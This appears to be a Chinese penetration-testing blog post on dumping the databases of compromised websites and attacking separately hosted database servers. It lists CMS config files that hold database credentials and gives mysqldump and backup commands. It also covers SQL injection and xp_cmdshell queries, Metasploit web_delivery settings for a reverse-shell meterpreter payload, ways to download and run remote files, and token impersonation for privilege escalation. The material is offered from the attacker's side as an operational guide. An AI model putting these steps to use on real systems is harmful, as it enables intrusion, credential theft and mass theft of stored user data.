假设你已经getshell
- 找到mysql账号密码。
网站要连接mysql,就需要把mysql的账号密码保存在一个php文件中,类似config.php、common.inc.php等,在shell中,读取这些文件,找到其中信息即可
下面是一些常见平台的配置文件:
discuz : config.inc.php
ucenter : data/config.inc.php
phpwind : data/sql_config.php
phpmyadmin : libraries/config.default.php
shopex : config/config.php 或 include/mall_config.php
ecshop : data/config.php
dedecms : data/common.inc.php
- 当目标主机支持外部连接时,使用Navicat 进行连接!当时目标主机不同,使用的Navicat种类不一样:
ps:有时候数据库这样写:xxxx@localhost,有时候这样写:xxxx@%,当是“%”的时候,说明任意地址都能对数据库操作,于是我们在外部就能连接别人的数据库,这时候使用外部工具比较方便
mysql : Navicat for MySQL
oracle : Navicat for Oracle
Navicat Premium :支持MySQL, Oralce, PostgreSQL, SQLit 以及SQL Server。
补充:mysql端口默认:3306,mssql默认端口:1433 , oracle默认端口:1521
当使用Navicat连接上数据库之后,选择需要脱库的表,右击导出即可。
- 但是当然大部分的数据库都是不能外部连接的,所以就要在本地进行脱裤,然后再下载下来,这时候假设有安装phpmyadmin,那就可以进行利用从而脱裤
- 但是当然不是所有的网站都要phpmyadmin,这时候就要用到脱裤脚本
(但我还没去找有什么好用的脱裤脚本,有没有师傅推荐一个)
- 用sql命令/sql语句脱裤
MySQL
登录数据库,命令备份数据库:
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库cd /var/lib/mysql
mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份mysqldump --all-databases > 1.sql //备份所有数据库
数据库还原:
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库cd /var/lib/mysql
mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
mysqldump 命令不仅可以在数据中使用,有权限的话也可以在命令行中使用
SQL server
登录数据库:
backup database Test to disk='D:/Test.bak'
站库分离渗透
站库分离其实就是管理员将网站程序和数据库分别放在了不同的服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据
Web入口渗透
通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透
Data入口渗透
从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们
通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshell,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透
如何判断是否站库分离
查看网站与数据库连接信息(需要权限)
如果你有网站服务器的权限,可以查看网站代码的数据库配置,比如 config.php
、.env
、application.yml
等配置文件。
例如:
php复制编辑
// config.php
$db_host = "127.0.0.1"; // 可能是本地
$db_host = "192.168.1.100"; // 局域网另一台主机
$db_host = "rds.aliyuncs.com"; // 云数据库,肯定是分离了
- 如果是
localhost
或127.0.0.1
,说明站库同在一台服务器 - 如果是内网IP或远程主机名,说明站库是分离的
MySQL内置函数和库
通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port
select @@hostname; //服务端主机名称
select * from information_schema.PROCESSLIST; //客户端主机名称和端口
MSSQL内置函数和表
通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器
select host_name(); //客户端主机名称
select @@servername; //服务端主机名称
select serverproperty('MachineName'); //服务端主机名称
也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息
有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址
select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';
还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器
and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))
站库分离利用思路
1. 下载远程文件
目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可
2. 执行远程Payload
目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit
3. 模拟令牌权限提升
笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌
在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌
支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等
C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E